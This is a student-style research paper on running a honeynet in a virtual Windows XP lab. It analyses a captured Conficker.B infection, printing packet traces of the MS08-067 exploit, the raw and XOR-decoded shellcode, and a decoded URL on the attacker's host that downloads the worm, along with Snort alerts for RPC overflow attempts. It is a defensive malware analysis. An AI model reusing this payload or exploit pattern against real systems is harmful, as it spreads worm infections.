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Abstract
Honeypots are a relatively new way to deal with threats but in a very
peculiar way; they are not a solution themselves as they don’t solve a
problem, rather than that Honeypots are flexible tools that can be used
to collect information about the way an attack can affect the network. To
achieve this Honeypots should be an easy target for attackers, and that’s
the reason why certain precautions must be taken when using one of
these tools to avoid a problem bigger than a solution.

In this paper it's going to be tested the effect that the implementation of a
honeypot or honeynet can have in a production network under two
security scenarios: a protected network vs an unprotected one.

vi
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1. INTRODUCTION

1.1 Honeypots
A honeypot can be described as a tool that provides certain level of earlydetection for attacks by appearing as a vulnerable node (server, host,
service, IP address range, etc) in the network. It can be also described as
an information gathering tool that can collect information about an
attacker such as the source of the attack, methods used, intention of the
attack and much more. It’s important to remember that a honeypot does
not replace traditional security systems such as Firewalls and IPS, even
though it shares certain characteristics with an IDS and a few less with
an IPS.

For a honeypot to be successful at least two characteristics are
necessary, it should look like an easy target with valuable information
and it should not jeopardize the integrity of its host system.
As any other system they have certain advantages and disadvantages [1]:
Pros
Collected information may be small but useful.
As honeypots can act as end-points encrypted information can be
captured.
Normally reduce false positives and can catch false negatives.
Honeypots are extremely flexible and require minimal resources.
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Cons
As they only see what interacts with them they have a reduced
scope.
It brings new risks to the system. If the honeypot is not well
secured it can be very harmful.

According to SANS

[2]

there are two main reasons behind the use of

honeypots:
1. Learn the methods that the attackers intend to use to penetrate
the system. As every activity in the honeypot should be logged the
system

administrator

can

get

insights

into

the

attackers’

techniques.
2. It can help gathering forensic information to aid in the prosecution
of intruders.
A honeypot can take a variety of shapes and can be located anywhere in
a network, hence its dynamic nature. In a firewalled system it can be
located inside, outside or in the DMZ; and it can resemble a web server,
a file server, a file, database table, an IP address and even a simple host
machine, but its value will depend on the amount of information that it
can gather.

By nature any activity that goes into the honeypot can be pointed as a
malicious activity because the honeypot doesn't have any real valuable
information. Also any traffic that goes out of the honeypot is an indicator
that our honeypot has been compromised.
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1.2 Honeynets
"A honeynet is a network of high interaction honeypots that simulates a production network and
configured such that all activity is monitored, recorded and in a degree, discretely regulated". [3]

Honeynets are mostly used to monitor a network more extensive than
what a honeypot can handle. Most of the time the honeynets are
composed of high interaction honeypots and usually are part of larger
NIDS. They need to accomplish two main principles for a successful and
secure implementation: Data Capture and Data Control. Any information
in or out of the honeynet must be captured for analysis, but also all that
data should be controlled to avoid a widespread attack from the honeynet
to the production equipments. One important issue to consider is that
before installing a honeynet the network administrator must have
approved it. Many concerns exists regard the implementation of these
tools, especially regarding infrastructure security and the legality of the
implementation because of the information that can record the honeynet.

1.3 Vulnerabilities and Exploits
A vulnerability is a bug or flaw in a system that make that system
susceptible to an attack even when it's used as expected. Citing from the
Microsoft's Technet website [4]:
"A security vulnerability is a flaw in a product that makes it infeasible – even when using the
product properly —to prevent an attacker from usurping privileges on the user's system,
regulating its operation, compromising data on it, or assuming ungranted trust."

So far every system has shown some sort of flaw, but the key for a bug or
flaw to become a vulnerability is that there must exist a tool that when
used against the system can take advantage of such flaw. If that
condition is achieved then the system is vulnerable and that tool or
method used to attack the vulnerability is called Exploit. And learning
how the exploits are performed is one of the goals of honeynets.
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2. BACKGROUND
2.1 Honeynets: previous implementations
In the introduction we commented how a honeypot works and
determined that any traffic that goes into or out of it should be treated as
malicious. This characteristic gives the honeynet its simplicity and
effectiveness. Because of this effectiveness we've found various mature
implementations of honeynets.

2.1.1 The Honeynet Project
The Honeynet Project [5] is a non-profit organization founded in 1999
dedicated to the research and improvement of the security in the
Internet. It is based in chapters around the world providing support to
those chapters through awareness, information and providing tools to
continue the research. Several chapters have been created from the
Honeynet Project and their modus operandi remains the same.

Most of these chapters have an active participation in the main Honeynet
Project as they annually share their results. In these results they inform
about the technology used in the last year and any modification made,
the findings in that period along with comments, the lessons learned and
some other organizational information. The most important part is that
the findings are of public domain and anyone can benefit from the
implementation

of

this

distributed

honeynet.

In

this

address

http://www.honeynet.org/og we can find a table with the list of the chapters of

the Honeynet Project.
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2.1.2 The Georgia Tech Honeynet project
One of those honeynet implementations is the Georgia Tech Honeynet
Project

[6] [7].

Since 2002 the University of Georgia Tech deployed a

honeynet in their internal network with positive and satisfying results.
The first step in the project was to obtain the permission from the
administrators of the academic, legal and technological departments.
This was necessary because several concerns were raised regarding the
legality of this project and the security of the information involved. In our
case we didn't need to get authorization of the network administrator
because the project was implemented in a controlled network.
Following with the case of Georgia Tech, after the pertinent permissions
were obtained the implementation followed. In that project they first
implemented a GEN I honeynet because of the simplicity that it offered,
but after a while they used a GEN II honeynet. The difference between
the two types of honeynet is that the second generation is easier to
deploy and the data control is more sophisticated than first generation.
So far the project has achieved its goals and continues to provide
valuable protection and information. The main purpose of the project
was research, and the students and teachers are using it for on-going
academic investigations

[8].

Another of its goals was to become a tool to

enhance the security of the network and it succeeded having identify
over 165

[6]

compromised systems within the internal network. At the

moment they haven't detected any incident caused by the deployment of
the honeynet in the production network.
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2.2 Detecting attacks and malwares using Honeynets

2.2.1 Network traffic analysis
A successful honeynet is able to capture all the traffic that goes in or out
at network level which is the most obvious and easiest information to
capture. This is because the only way that a malware or an attack can
reach the honeynet is by a network connection.

The use of Snort [9] [8] is a widely implemented solution to sniff the traffic
of the honeynet. It's an open source application that has proven to be
very reliable and difficult to detect by the bad guys while used. Another
sniffer tool is Wireshark (previously named Ethereal)

[10] [8]

that can be

used to detect and log the network traffic. The most notorious difference
is that Snort is more often used as an NIDS rather than simply as a
sniffer. In any case with both tools we are able to capture traces of the
network traffic and find different types of attacks such as DoS, Port
scanning and Telnet/SSH/FTP breaches. Also it's possible to know if one
of the nodes of the honeynet has been turned into a zombie by a netbot
by detecting SPAM messages being sent from the honeynet or if a worm
is trying to propagate. Other important information that can be gathered
is the precedence of an attack, very important if the attacker don't spoof
the IP address to conceal its identity.

Another

characteristic

about

honeypots/honeynets

is

that

the

information that goes from one point to another may be encrypted and
intermediate nodes can't detect that information. But as the nodes within
the honeynet are end-points they can also log that encrypted information
and feed a decryption mechanism to be able to see the real information.
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2.2.2 Operative system logs
As seen network traffic can be a very powerful tool to detect attacks, but
in some of the cases this doesn't give us the details about the malwares,
but another important source of information are the OS logs.

Most of the OSs can log certain type of information, for example UNIX
and Linux based honeypots are able to store login information and shell's
command history even after a system reboot. Also many daemons log any
action related to them in a separated file for each one. In Windows based
honeypots there are mainly three types of logs: Application, Security and
System. In any case no matter which type of information each OS stores
it can be valuable.

2.2.3 Snort
Snort [9] is an open source network intrusion detection and prevention
system (N-IDS/IPS). It's not very user friendly and at the beginning it
was rather complicated and difficult to use and implement, and that's
the reason why during the in-line capture of the data in the project it was
only used as a sniffer. But when you get used to its interface is easier to
understand and use, in fact by using a couple of rules it was possible to
identify a malware in the honeynet. The use of Snort will be explained in
more detail in the results part.

2.3 Possible threats in the use of honeypots/honeynets
Some past researches and experiments have been done about the use of
honeypots and the threats that may be present in its use. One example
of these researches can be found in the document Information Warfare:
Understanding Network Threats through Honeypot Deployment [11]. In this
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paper the authors deployed three high interaction honeypots to study
how quickly such machines could get compromised. For reference they
stated that a machine is compromised when the honeypot intended a
connection to another machine without intervention of the legitimate
operator. These experiments resulted on the breach of the three tested
honeypots. Two of them where infected with worms, and one of them was
attacked with a DoS. Two of them were also port scanned. If these
machines were located within a production network and the production
machines were not protected, they could’ve easily infected with the selfreplicated worms that infected the honeypots.
Another great article that indicates three of the main problems that
honeypots have is Problems and Challenges with Honeypots

[12].

In this

article the author mentions three problems in the implementation of
honeypots that are:
1. Identifying honeypots
2. Exploiting honeypots
3. Attacker clientele.
For the security of the network the second point (Exploiting honeypots) is
the interesting one. We do know that the honeypot is going to be
exploited some time, after all that’s its mission; what is really important
is that we take the measures to avoid a problem after that. One of those
measures is the correct implementation of firewall rules, as we need that
the honeynet be visible and accessible from the outside the traffic should
be allowed in. But malicious traffic can't be allowed outside, so intelligent
rules should be implemented to block this traffic but it should permit
that faked traffic to be sent outside to not alert the attackers that
something is wrong.

12

3. PROPOSED SOLUTION
To test this scenario a virtual network was developed. The network
consisted of four Windows XP virtual workstations with different security
configurations to represent various scenarios of real computers, the host
computer running Windows 7 and running Snort to detect the network
traffic and two honeypots forming a honeynet.

The idea behind this configuration is that as any attack to the honeynet
can affect the virtual workstations the different levels of security will be
representative for different network security configurations. Of course
that to ensure that the network was in fact vulnerable and that the
security levels in the hosts was the determining factor, the traffic going
out of the honeynet was not blocked, instead some ports were forwarded
to the honeynet.

Figure 1 - Initial network diagram
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4. PREPARATION OF THE PLATFORM
4.1 Preparing the virtual workstations
This was the most straightforward part of the whole project. First a
virtual machine was created with the next characteristics:
OS: Windows XP Professional SP2 32-bits
Security: none
Hostname: WinXPI
After this one was ready it was cloned. The resulting machine was
different than the previous one in the fact that it had all windows
patches to the date.
OS: Windows XP Professional SP2 32-bits
Security: Windows patches up to date
Hostname: WinXPII
This machine was also cloned and the third one had an antivirus
software installed and updated, AVG free edition.
OS: Windows XP Professional SP2 32-bits
Security: Windows patches up to date + AVG antivirus
Hostname: WinXPIII
The fourth one had all that the previous one had plus Windows Firewall.
OS: Windows XP Professional SP2 32-bits
Security: Windows patches up to date + AVG antivirus + Firewall
Hostname: WinXPIV
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4.2 Preparing the honeynet
The honeynet is composed of two virtual computers running several
services each one. These were common services that are frequently prone
to attacks such as web servers, FTP, Telnet, SMTP and MySQL.

The first honeypot had the next configuration:
OS: Windows XP Professional SP2 32-bits
Security: none
Hostname: HP1
Services: Microsoft IIS 5.1, Telnet, FTP, SMTP, Unreal Media Server

The second honeypot was configured as follows:
OS: Windows XP Professional SP2 32-bits
Security: none
Hostname: HP2
Services: WAMP5 version 1.7.1
o Apache 2.2.4
o MySQL 5.0.37
Also NetBIOS port was open.

On the host machine the configuration was as following:
OS: Windows 7 Professional 64-bits
Security: Windows patches updated, antivirus, Windows Firewall,
Windows Defender (anti spyware)
Snort 2.8.5.3
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4.3 The Network
For this project it was used the network address 192.168.1.0/24 with
the address distribution presented next:
Gateway:

192.168.1.1

Honeynet:

192.168.1.11 - 192.168.1.12

Workstations:

192.168.1.13 - 192.168.1.16

The host machine was left with a dynamic IP address but during the
entire time of the project the router assigned the address 192.168.1.114.

In the router's configuration the ports corresponding to the services
running in the honeynet were redirected to the corresponding honeypot
so they could be accessible from the Internet

Figure 2 - Ports forwarded in the router
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As can be seen in the previous image besides the ports of the services
installed in the honeynet, some other ports were also redirected; the
NetBIOS (139) and six RPC ports (445, 2103, 2105, 135, 1028, 2107).

5. DEVELOPMENT OF THE PROJECT
After every virtual machine was ready the honeypot was started and
connected to the Internet. Initially everything was fine except for one
issue; the host machine wasn't detecting the traffic between virtual
machines. Apparently the problem is that the traffic between VMs is
handled internally by a virtual hub, so there is no need for that traffic to
go to the host's NIC. The solution was the creation of another virtual
machine in which Snort was installed, and as that VM was in the virtual
hub all the traffic within the honeynet was captured.

After that addition the final network diagram was like this

Figure 3 - Final network diagram
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After that issue was solved the honeynet was left running for two weeks.
During that time span the Snort logs were checked frequently using
Wireshark. It provides a very user-friendly interface and its Follow
TCP/UDP streams feature is really helpful in assembling data exchange
between two endpoints.
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6. RESULTS
6.1 Win32/Conficker.B infection
The most notorious result during the deployment of the honeynet was
the infection of the two honeypots that formed the honeynet and one of
the workstations with a worm. When the symptoms were first noticed it
wasn't obvious what type of worm was in the system, so to determine
that several steps were followed.

6.1.1 Understanding the symptoms
The first clue that indicated that something was wrong was that two of
the virtual machines were doing a similar routine when the operative
system started.
After the network adapters initialized the infected computer search
for a UPNP device using SSDP protocol. The destination IP address
is 239.255.255.250 and port 1900 UDP. The router replies with its
information as an InternetGatewayDevice with the location set
to http://192.168.1.1:5431

Figure 4 - SSDP search by the infected machine
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After this, the infected machine establishes a set of TCP
conversations with the default gateway of the network pointing to
the port 5431 (Park-agent) - See Appendix C for more information.
According to this source

[13]

here is some information about this

port:
"Technical description for port 5431:
The deployment of applications via the network port 5431 means that these programs utilize the
park-agent protocol. This service is known to execute on system boot up and is commonly."

After that, the infected computer connected to one these sites in
order to obtain the current public IP address: "www.getmyip.org",
"dyndns.org", "www.whatismyip.org", "www.whatismyipaddress.com".

Figure 5 - Public IP address search

Then, the infected computer checks for the current time

Figure 6 - Current time check
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And suddenly after that it begins to search for random domains in the
Internet or for hosts in the local network using ARP or reverse name
resolution. It keeps looking for hosts in the local network until it finds
one and tries to infect it.

Figure 7 - DNS querys for random domains

Figure 8 - Local network search using ARP

In this image we can see that the computer with IP address 192.168.1.13
was doing an sequential ARP request trying to detect other hosts in the
local network. The IP address 192.168.1.1 did reply to the request and
connection was intended to the port 445 without success.

This port is used to run the Server Message Block (SMB) protocol directly
over TCP. SMB is used to share printers and folders in a Windows NT
network [14].
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Further observation showed a more interesting finding when one of the
computers replied to the ARP request and a connection was established
in the port 445.

Figure 9 - A host replying to the ARP query

Figure 10 - Infected computer trying to infect another host

At this point it wasn't still clear what worm it was, but during the final
days of the two weeks period of the honeynet being online, it was noticed
that in two of the virtual machines Windows had not been activated.
When attempting to activate Windows both machines failed. Looking for
the reason it was found that this the computers could've be infected with
Win32.Worm.Downadup.Gen

[15].

What raised the alarm was that one of

the characteristics of this worm is that the infected computer tried to
connect to several random domains, just as in this case. Also the
infected machine did a search for the public IP address in the URLs
mentioned in that bulletin

[15].

And finally it poisons the DNS cache to

avoid that some domains cannot be accessible, one of those domains is
microsoft.com.
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6.1.2 Confirming the hypothesis
To determine if the worm was really Conficker or one of its variants we
needed to determine the initial attack.
In the next table we can see an exploit being executed on the
NetPathCanonicalize function (vulnerability MS08-067 [16]).
No

Time

Source

Destination

Protocol

Information

79592

7:38:35

84.108.187.227

192.168.1.11

TCP

79593

7:38:35

192.168.1.11

84.108.187.227

TCP

79599

7:38:35

84.108.187.227

192.168.1.11

TCP

dpkeyserv > microsoft-ds [SYN] Seq=0 Win=65535 Len=0 MSS=1460 TSV=0
TSER=0
microsoft-ds > dpkeyserv [SYN, ACK] Seq=0 Ack=1 Win=64240 Len=0
MSS=1460 TSV=0 TSER=0
dpkeyserv > microsoft-ds [ACK] Seq=1 Ack=1 Win=65535 Len=0 TSV=1504645
TSER=0

79600

7:38:35

84.108.187.227

192.168.1.11

SMB

Negotiate Protocol Request

79602

7:38:35

192.168.1.11

84.108.187.227

SMB

Negotiate Protocol Response

79604

7:38:35

84.108.187.227

192.168.1.11

SMB

79608

7:38:35

192.168.1.11

84.108.187.227

SMB

Session Setup AndX Request, NTLMSSP_NEGOTIATE
Session Setup AndX Response, NTLMSSP_CHALLENGE, Error:
STATUS_MORE_PROCESSING_REQUIRED

79636

7:38:35

84.108.187.227

192.168.1.11

SMB

Session Setup AndX Request, NTLMSSP_AUTH, User: \

79713

7:38:36

192.168.1.11

84.108.187.227

SMB

Session Setup AndX Response

79800

7:38:36

84.108.187.227

192.168.1.11

SMB

Tree Connect AndX Request, Path: \\200.42.242.108\IPC$

79801

7:38:36

192.168.1.11

84.108.187.227

SMB

Tree Connect AndX Response

79848

7:38:36

84.108.187.227

192.168.1.11

SMB

80109

7:38:36

192.168.1.11

84.108.187.227

TCP

NT Create AndX Request, Path: \srvsvc
microsoft-ds > dpkeyserv [ACK] Seq=506 Ack=830 Win=63411 Len=0
TSV=321752 TSER=1504658

80310

7:38:37

192.168.1.11

84.108.187.227

SMB

NT Create AndX Response, FID: 0x0000, Error: STATUS_ACCESS_DENIED

80412

7:38:37

84.108.187.227

192.168.1.11

SMB

80423

7:38:37

192.168.1.11

84.108.187.227

TCP

NT Create AndX Request, FID: 0x4000, Path: \browser
microsoft-ds > dpkeyserv [ACK] Seq=545 Ack=936 Win=63305 Len=0
TSV=321759 TSER=1504666

80524

7:38:37

192.168.1.11

84.108.187.227

SMB

NT Create AndX Response, FID: 0x4000

80708

7:38:38

84.108.187.227

192.168.1.11

DCERPC

Bind: call_id: 1 SRVSVC V3.0

80710

7:38:38

192.168.1.11

84.108.187.227

SMB

Write AndX Response, FID: 0x4000, 72 bytes

80881

7:38:38

84.108.187.227

192.168.1.11

SMB

80959

7:38:38

192.168.1.11

84.108.187.227

TCP

Read AndX Request, FID: 0x4000, 1024 bytes at offset 0
microsoft-ds > dpkeyserv [ACK] Seq=735 Ack=1139 Win=63102 Len=0
TSV=321771 TSER=1504678

80960

7:38:38

192.168.1.11

84.108.187.227

DCERPC

Bind_ack: call_id: 1 accept max_xmit: 4280 max_recv: 4280

81033

7:38:39

84.108.187.227

192.168.1.11

SRVSVC

NetPathCanonicalize request

81036

7:38:39

192.168.1.11

84.108.187.227

TCP

microsoft-ds > dpkeyserv [ACK] Seq=867 Ack=1931 Win=64240 Len=0
TSV=321776 TSER=1504682

86784

7:39:05

192.168.1.11

84.108.187.227

SMB

Trans Request

86787

7:39:05

84.108.187.227

192.168.1.11

SMB

Close Request, FID: 0x4000

86788

7:39:05

192.168.1.11

84.108.187.227

SMB

Close Response, FID: 0x4000

86791

7:39:05

84.108.187.227

192.168.1.11

SMB

Logoff AndX Request

86792

7:39:05

192.168.1.11

84.108.187.227

SMB

Logoff AndX Response

86794

7:39:06

84.108.187.227

192.168.1.11

SMB

Tree Disconnect Request

86795

7:39:06

192.168.1.11

84.108.187.227

SMB

87334

7:39:06

84.108.187.227

192.168.1.11

TCP

87336

7:39:06

192.168.1.11

84.108.187.227

TCP

Tree Disconnect Response
dpkeyserv > microsoft-ds [FIN, ACK] Seq=2058 Ack=1027 Win=64509 Len=0
TSV=1504952 TSER=322046
microsoft-ds > dpkeyserv [FIN, ACK] Seq=1027 Ack=2059 Win=64113 Len=0
TSV=322048 TSER=1504952

87731

7:39:06

84.108.187.227

192.168.1.11

TCP

dpkeyserv > microsoft-ds [RST, ACK] Seq=2059 Ack=1027 Win=0 Len=0

87732

7:39:06

84.108.187.227

192.168.1.11

TCP

dpkeyserv > microsoft-ds [RST] Seq=2059 Win=0 Len=0

Figure 11 - Exploiting the NetPathCanonicalize function
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The payload of the called NetPathCanonicalize function contained the
next string:
)4X!)uEL@kNTl7}6R
SMB%TT&@\PIPE\$@HHDHH11\gIWEDonWJYrssjJhiCNWOyFUGheQiZJOiTRNqmFepZJLnIUdQKkGbgdBgUYpBXchMmpWtqs
ymzcHGcuRxmWgRABRZlKTUggIZPIH_O1Af9MSu8OOOOOIse,&<O8;WG,O;;;$iQOO2IwO{D1OsOOTfNDh]MSiHFftxHCoMz
JfURTEwwabaHPgJzjWHkDtmvAaJPoZxNKUtDREhRsbBAbnWTNltAIkSxYcUkHgRWJGkHdMAFpVTPLPeedVRIefsDaktBCld
xOgDrOhfZEfbEzGipQtgIDnUVeQGSbNeuliZbMLypTPtRDWnHfLnnXVtrmWFcJDBeRCPASnCqw\..\..\ANKSMWFoKGXG'o
BOMKHGXVOPMNYWGAUOXDNAXKZJIXPZEMPJRVZZZOABJ$7bJURTYRDAAC\

Highlighted the pattern that triggers the exploit. According to the author
of this page [17], MS08-067 only patched the dynamic library netapi32.dll
in which resides the vulnerable function. The problem with this pattern
is that when the function NetPathCanonicalize receives it, it strips out
any preceding directory behind the pattern. If nothing is found before the
\..\..\ the function goes into some sort of recursion scanning back until
it bust the stack.

Another proof of the malicious nature of this payload is that at the same
time Snort alerted of a possible Win32/Conficker.B related attack.
[**] [1:2000002:1] Win32/Conficker.B shellcode [**]
[Priority: 0]
03/22-07:38:38.520950 84.108.187.227:1780 -> 192.168.1.11:445
TCP TTL:107 TOS:0x0 ID:60410 IpLen:20 DgmLen:844 DF
***AP*** Seq: 0xA5377D36 Ack: 0x52041AB6 Win: 0xFC9D TcpLen: 32
TCP Options (3) => NOP NOP TS: 1504682 321771

A couple of minutes later the attacked machine was spreading the worm
to another hosts in the network.
[**] [1:2000002:1] Win32/Conficker.B shellcode [**]
[Priority: 0]
03/22-07:41:32.457648 192.168.1.11:1121 -> 192.168.1.12:445
TCP TTL:128 TOS:0x0 ID:1463 IpLen:20 DgmLen:832 DF
***AP*** Seq: 0x6F7B87F Ack: 0x21E16122 Win: 0xF78E TcpLen: 20

But where does the worm came from?
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From this document

[18]

we learned that Win32/Conficker.B encoded the

payload of the function by doing an XOR operation on the entire string
byte

by

byte.

Selecting

the

payload

from

the

function

NetPathCanonicalize but this time in hexadecimal we get
000c2934fe580021299caf7508004500034cebfa40006b064eae546cbbe3c0a8010b06f401bda5377d3652041ab6801
8fc9df9be00000101080a0016f5aa0004e8eb00000314ff534d4225000000001807c800000000000000000000000000
08980500088000100000c002000000040000000000000000000000005400c0025400020026000040d102005c0050004
900500045005c00000000000500000310000000c002000001000000a802000000001f002440ba010600000000000000
060000004800480044004800480000003101000000000000310100005c0067495745446f6e574a597273736a4a68694
34e574f79465547686551695a4a4f6954524e716d4665705a4a4c6e495564514b6b476267644267555970425863684d
6d7057747173796d7a634847637552786d5767524142525a6c4b54556767495a504948e8ffffffffc25f8d4f108031c
4416681394d5375f538aec69da04f85ea4f84c84f84d84fc44f9ccc497365c4c4c42cedc4c4c494263c4f38923bd357
4702c32cdcc4c4c4f71696964f08a203c5bcea953bb3c096969592963bf33b24699592514f8ff84f88cfbcc70ff7324
9d077c795e44fd6c717cbc404cb7b040504c3f6c68644fec4b131ff01b0c282ffb5dcb61f4f95e0c717cb73d0b64f85
d8c7074fc054c7079a9d07a4664eb2e244680cb1b6a8a9abaac45de7991dacb0b0b4feebebfcf0eaf5f4fceaf5fcf3e
af6f6f3fefcf7f0f5eba3bcbdbca8c44d5369484666747848436f4d7a4a665552544577776162614850674a7a6a5748
6b44746d7641614a506f5a784e4b5574445245685273624241626e57544e6c7441496b53785963556b486752574a476
b48644d4146705654504c5065656456524965667344616b7442436c64784f6744724f68665a456662457a4769705174
6749446e555665514753624e65756c695a624d4c79705450745244576e48664c6e6e585674726d5746634a444265524
35041536e4371775c002e002e005c002e002e005c0041004e004b0053004d005700460008040200e216896f4b475847
27f7886f424f4d4b484758564f504d4e59574741554f58444e41584b5a4a4958505a454d504a52565a5a5a4f4142924
a24b69703f537eb624a555254595244414143000000001f0300000200000000000000020000005c0000000101000000
000000

Again, highlighting the pattern that triggers the exploit.
Now doing a byte by byte XOR with 0xC4 we obtain the decoded payload
in hexadecimal
C4C8EDF03A9CC4E5ED586BB1CCC481C4C7882F3E84C4AFC28A6A90A87F27046CC5CFC230C57961F3B9F296C0DE7244D
C38593D7AC4C4C5C5CCCEC4D2316EC4C02C2FC4C4C7D03B978986E1C4C4C4C4DCC30CC4C4C4C4C4C4C4C4C4C4C4C4C4
CC5CC1C4CC44C4D4C4C404C6C4C4C4C0C4C4C4C4C4C4C4C4C4C4C4C490C404C690C4C6C4E2C4C48415C6C498C494C48
DC494C481C498C4C4C4C4C4C1C4C4C7D4C4C4C404C6C4C4C5C4C4C46CC6C4C4C4C4DBC4E0847EC5C2C4C4C4C4C4C4C4
C2C4C4C48CC48CC480C48CC48CC4C4C4F5C5C4C4C4C4C4C4F5C5C4C498C4A38D938180ABAA938E9DB6B7B7AE8EACAD8
78A938BBD829183ACA195AD9E8E8BAD90968AB5A982A1B49E8E88AA8D91A0958FAF83A6A3A086A3919DB4869CA7AC89
A9B493B0B5B7BDA9BEA78C83A7B196BCA993A3968586969EA88F9091A3A38D9E948D8C2C3B3B3B3B069B498BD444F50
085A245FD8997B131FC6A0259648B412E8B400C8B401C8B008B58088DB7A1000000E82900000050E2F88BFC56FF1793
83C607E81800000033D252528BCC66C701782E51FF77045252515652FF37FFE0AD5156958B4B3C8B4C0B7803CB33F68
D14B30351208B1203D30F00C00FBFC0C1C007320242803A0075F53BC57406463B711872DB8B512403D30FB714728B41
1C03C38B049003C35E59C360A28A762680ACC875726C6D6F6E0099235DD9687474703A2F2F38342E3130382E3138372
E3232373A383334312F677879786C008997AD8C82A2B0BC8C87AB89BE8EA291969081B3B3A5A6A58C94A38EBEAE938C
AF80B0A9B285A58E94AB9EBC8A8F91B0809681AC96B7A68685A6AA93908AA8B0858DAF97BC9DA791AF8CA396938E83A
F8CA0898582B49290948894A1A1A092968DA1A2B780A5AFB08687A8A0BC8BA380B68BACA29E81A2A681BE83ADB495B0
A38D80AA9192A1958397A68AA1B1A8AD9EA68988BDB49094B0968093AA8CA288AAAA9C92B0B6A99382A78E8086A1968
7948597AA87B5B398C4EAC4EAC498C4EAC4EAC498C485C48AC48FC497C489C493C482C4CCC0C6C426D24DAB8F839C83
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E3334CAB868B898F8C839C928B94898A9D938385918B9C808A859C8F9E8E8D9C949E8189948E96929E9E9E8B8586568
EE07253C731F32FA68E9196909D9680858587C4C4C4C4DBC7C4C4C6C4C4C4C4C4C4C4C6C4C4C498C4C4C4C5C5C4C4C4
C4C4C4

That translated to string is
ÄÈíð:œÄåíXk±ÌÄ•ÄÆˆ/>„Ä¯ÂŠj•¨•'?lÅÏÂ0Åyaó¹òŔÀÞrDÜ8Y=zÄÄÅÅÌÎÄÒ1nÄÀ,/ÄÄÇÐ;ŕ
‰†áÄÄÄÄÜÃ?ÄÄÄÄÄÄÄÄÄÄÄÄÄÌ\ÁÄÌDÄÔÄÄ?ÆÄÄÄÀÄÄÄÄÄÄÄÄÄÄÄÄ•Ä?Æ•ÄÆÄâÄÄ„?ÆÄ˜ÄŗÄ•ÄŗÄ•Ä˜ÄÄÄÄÄÁÄÄÆÔÄÄÄ?ÆÄ
ÄÅÄÄÄlÆÄÄÄÄÛÄà„~ÅÂÄÄÄÄÄÄÄÂÄÄÄŒÄŒÄ€ ÄŒÄŒÄÄÄõÅÄÄÄÄÄÄõÅÄÄ˜Ä£•Ŗ•€ «ªŖŽ •¶··®Ž ¬‡ŠŖ‹´‚Řƒ¬¡¥ž Ž ‹•
ŔŠµ©‚¡´ž Ž ˆª•Ř ¥•¯ƒ¦£ †£Ř•´†œ¤¬‰©´Ŗ°µ·´©¶¤Œƒ¤±Ŕµ©Ŗ£Ŕ…†Ŕž ¨••Ř££•ž ŗ•Œ,;;;;?›I‹ÔDõ?…¢Eý‰ŕ
±1üj?Yd‹A.‹@?‹@?‹?‹X?•·¡???è)???Pâø‹üVÿ?ŖƒÆ?è????3ÕRR‹ÌfÆ?x.Qÿw?RRQVRÿ7ÿàQV¥‹K<‹L?x?Ë3ö•?³?Q
‹??Ó??À?¿ÀÁÀ?2?B€ :?uõ;Åt?F;q?rÛ‹Q$?Ó?·?r‹A??Ã‹?•?Ã^YÃ`¢Šv&€ ¬Èurlmon?™#]Ùhttp://84.108.187.227
:8341/gxyxl?‰ŕŒ‚¢°µŒ‡«‰¶Ž ¢ŘŔ••³³¥¦¥Œŗ£Ž ¶®ŖŒ¯€ °©²…¥Ž ŗ«ž µŠ•Ř°€ Ŕ•¬Ŕ·¦†…¦ªŖ•Š¨°…•¯ŕ
¼•¤Ř¯Œ£ŔŖŽ ƒ¯Œ ‰…‚´ř•ŗˆŗ¡¡ řŔ•¡¢·€ ¥¯°†‡¨ µ‹£€ ¦‹¬¢ž •¢¦•¶ƒ´¥°£•€ ªŘř¡¥ƒŕ¦Š¡±¨ž ¦‰ˆ´´•ŗ°Ŕ
€ ŖªŒ¢ˆªªœř°¦©Ŗ‚¤Ž € †¡Ŕ‡ŗ…ŕª‡µ³˜ÄêÄêÄ˜ÄêÄêÄ˜Ä…ÄŠÄ•Äŕ
Ä‰ÄŖÄ‚ÄÌÀÆÄ&ÕM«•ƒœƒã3L«†‹‰•Œƒœř‹ŗ‰Š•Ŗƒ…Ř‹œ€ Š…œ•ž Ž •œŗž •‰ŗŽ Ŕřž ž ž ‹…†VŽ àrSÇ1ó/¦Ž ŘŔ••Ŕ
€ ……‡ÄÄÄÄÛÆÄÄÆÄÄÄÄÄÄÄÆÄÄÄ˜ÄÄÄÅÅÄÄÄÄÄÄ

The malicious payload instructed the exploited machine to download the
worm from the URL http://84.708.187.227:8341/gxyxl. This is the same
IP address that exploited the machine in first place. The worm will be
hidden within a file with a random name and one of the following file
extensions: png, bmp, jpg, gif. In this case the downloaded file was
gxyxl.bmp.

Figure 12 - Downloading the worm
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Finally the proof that Win32/Conficker.B was the detected malware

Figure 13 - Online tool to verify the presence of Win32/Conficker.B

27

6.2 Other recorded attacks

6.2.1 SMTP attacks
There were no recorded attacks to the SMTP service, but various events
were detected. Some attempts to use the honeynet as a relay point to
send spam email were detected from the one source IP. We can be sure
that this remote host is most likely a zombie computer sending spam.

Figure 14 - Spam attempted to be sent from the honeynet

Figure 15 - Another picture showing spam messages trying to be sent
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6.2.2 Buffer Overrun In RPCSS Service
This vulnerability was attacked 19 times but it wasn't successfully
exploited. It consists in an attack to the RPCSS service in the part that
deals with the RPC messages. A successful exploit could allow the
execution of arbitrary code [19].
Here is a sample of a Snort rule activating while detecting this attack.
[**][1:3409:7] NETBIOS DCERPC NCACN-IP-TCP IActivation remoteactivation
overflow attempt[**]
[Classification: Attempted Administrator Privilege Gain] [Priority: 1]
03/27-20:04:53.223667 200.42.197.48:2422 -> 192.168.1.12:135
TCP TTL:240 TOS:0x10 ID:0 IpLen:20 DgmLen:1714
***AP*** Seq: 0xF0BE3AEC Ack: 0xBD1187BF Win: 0xFAF0 TcpLen: 20
[Xref => http://www.microsoft.com/technet/security/bulletin/MS03-039.mspx]
[Xref => http://www.microsoft.com/technet/security/bulletin/MS03-026.mspx]

No

Time

Source

Destination

Protocol

Information

53479

2948.217029

200.35.233.178

192.168.1.12

TCP

hpiod > epmap [SYN] Seq=0 Win=16384 Len=0 MSS=1460

53480

2948.217157

192.168.1.12

200.35.233.178

TCP

epmap > hpiod [SYN, ACK] Seq=0 Ack=1 Win=64240 Len=0 MSS=1460

53518

2949.146491

200.35.233.178

192.168.1.12

TCP

hpiod > epmap [ACK] Seq=1 Ack=1 Win=17520 Len=0

53521

2949.722941

200.35.233.178

192.168.1.12

DCERPC

Bind: call_id: 0 REMACT V0.0

53522

2949.722949

192.168.1.12

200.35.233.178

DCERPC

Bind_ack: call_id: 0 accept max_xmit: 5840 max_recv: 5840

53548

2950.788937

